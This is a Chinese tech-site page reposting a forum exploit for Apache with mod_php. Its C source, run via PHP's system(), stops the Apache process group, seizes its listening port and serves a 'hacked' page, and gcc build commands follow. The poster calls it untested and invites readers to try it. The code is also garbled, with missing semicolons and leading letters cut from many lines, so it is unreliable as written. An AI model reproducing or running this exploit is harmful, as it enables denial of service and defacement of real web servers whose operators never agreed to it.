当前位置首页 > Apache知识

Apache全版本存在漏洞!

阅读次数:326 次  来源:admin  发布时间:

国外抄来的,这个漏洞可以停止所有的Apache服务器,不知道有人发过没。也没有经过测试,有兴趣的朋友可以测试一下!E文不懂不要紧,你不知道,google知道!

-------------------------------------

下面是原文:

Hi This Exploit can Stop all apache in server then you can connect by netcat and you dont Facing any problem like this problem

Reduced: 97% of original size [ 527 x 89 ] - Click to view full image

QUOTE

/*******************************************************/

/* */

/* Apache's mod_php exploit */

/* Stops all Apache processes (except root), and */

/* listens to Apache's port */

/* */

/* Execute this via system() function of PHP */

/* */

/* Tested on: */

/* apache: 2.2.3 */

/* php: 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0RC5 */

/* */

/* Coded by ZERO-COLD , 17/08/07 */

/* [ tryag.com/cc ] */

/* */

/*******************************************************/

#include <unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <signal.h>

#include <string.h>

#include <stdio.h>

#include <stdlib.h>

#include <netinet/in.h>

char* header = "HTTP/1.1 200 OK\r\nContent-type: text/html\r\n\r\nSorry, the server is unavailable: hacked \r\n"

char tmp[1024]

int main()

{

chdir( "/" ); // do it, because it is recommended for daemo

ignal( SIGCHLD, SIG_IGN ); // do not bother if a child die

kill( getppid(), SIGKILL ); // kill parent (to avoid 'zombies')

if ( fork() ) return 0; // daemonize, and parent exit

leep( 1 ); // wait for parent to exit (we don't want him to catch SIGSTOP)

int p = getsid( 0 ); // get current Process Group Id

etsid( ); // become session leader

kill( -p, SIGSTOP ); // good night, Apache Process Grou

int sock

truct sockaddr_in clientname

for ( sock = 3; sock < getdtablesize(); sock++ ) // find valid socket handle

if ( listen (sock, 10) == 0 ) break

while ( 1 )

{

int new

unsigned size = sizeof( clientname )

ew = accept( sock, (struct sockaddr *) &clientname, &size)

if (new < 0)

return 1

if ( fork() == 0 ) // child will handle this connection, parent will listen for new connectio

{

write( new, header, strlen(header) )

rintf( tmp, "<br>You are %s : %hd\n", inet_ntoa( clientname.sin_addr ),ntohs( clientname.sin_port ))

write( new, tmp, strlen(tmp)+1 )

hutdown( new, 2 )

close( new )

return 0

}

}

}

gcc filname.c -o filename

./filename

上一篇:Linux小记—Ubuntu自动化配置
下一篇:Linux环境进程间通信(六)"><转>Linux环境进程间通信(六)